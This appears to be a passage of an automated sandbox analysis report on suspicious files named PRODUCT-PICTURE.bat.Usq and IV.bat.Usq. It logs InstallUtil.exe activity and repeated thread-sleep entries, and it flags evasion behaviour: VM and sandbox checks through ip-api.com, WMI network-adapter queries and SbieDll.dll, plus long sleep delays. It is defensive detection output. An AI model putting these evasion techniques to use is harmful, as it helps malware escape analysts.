Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: PRODUCT-PICTURE.bat.Usq PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IV.bat.Usq PID: 7928, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Powershell is started from unusual location (likely to bypass HIPS)

Source: c:\users\user\appdata\roaming\iv.bat.usq	Key value queried: Powershell behavior			Jump to behavior
Source: c:\users\user\desktop\product-picture.bat.usq	Key value queried: Powershell behavior			Jump to behavior

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000004F3D000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp, PRODUCT-PICTURE.bat.Usq, 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.0000000004FB9000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1911240345.00000000092AB000.00000004.00000800.00020000.00000000.sdmp, IV.bat.Usq, 0000000F.00000002.1839930699.00000000052C4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Memory allocated: 2D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Memory allocated: 2D50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Memory allocated: 8610000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 7C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2500000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: B70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Memory allocated: F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Memory allocated: F10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Memory allocated: 8700000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2920000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4AA0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799922
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799797
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799687
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 1799578

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Window / User API: threadDelayed 4557	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq	Window / User API: threadDelayed 1252	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2841	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6995	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Window / User API: threadDelayed 3142	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IV.bat.Usq	Window / User API: threadDelayed 2031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 3013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6829

Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq TID: 7512	Thread sleep count: 4557 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq TID: 7512	Thread sleep count: 1252 > 30	Jump to behavior
Source: C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq TID: 7560	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -39660499758475511s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7672	Thread sleep count: 2841 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -99766s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7672	Thread sleep count: 6995 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -99641s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -99311s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98984s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98874s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98654s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98547s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98326s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98218s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98108s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -98000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -97873s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -97765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -97655s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -97504s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -97386s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -97263s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -97156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -97047s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -96937s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -96828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -96719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -96609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -96500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -96391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -96281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -96172s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -96062s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -95951s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -95843s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -95734s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -95625s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -95516s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -95391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -95266s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -95156s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -95047s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 7668	Thread sleep time: -94936s >= -30000s	Jump to behavior
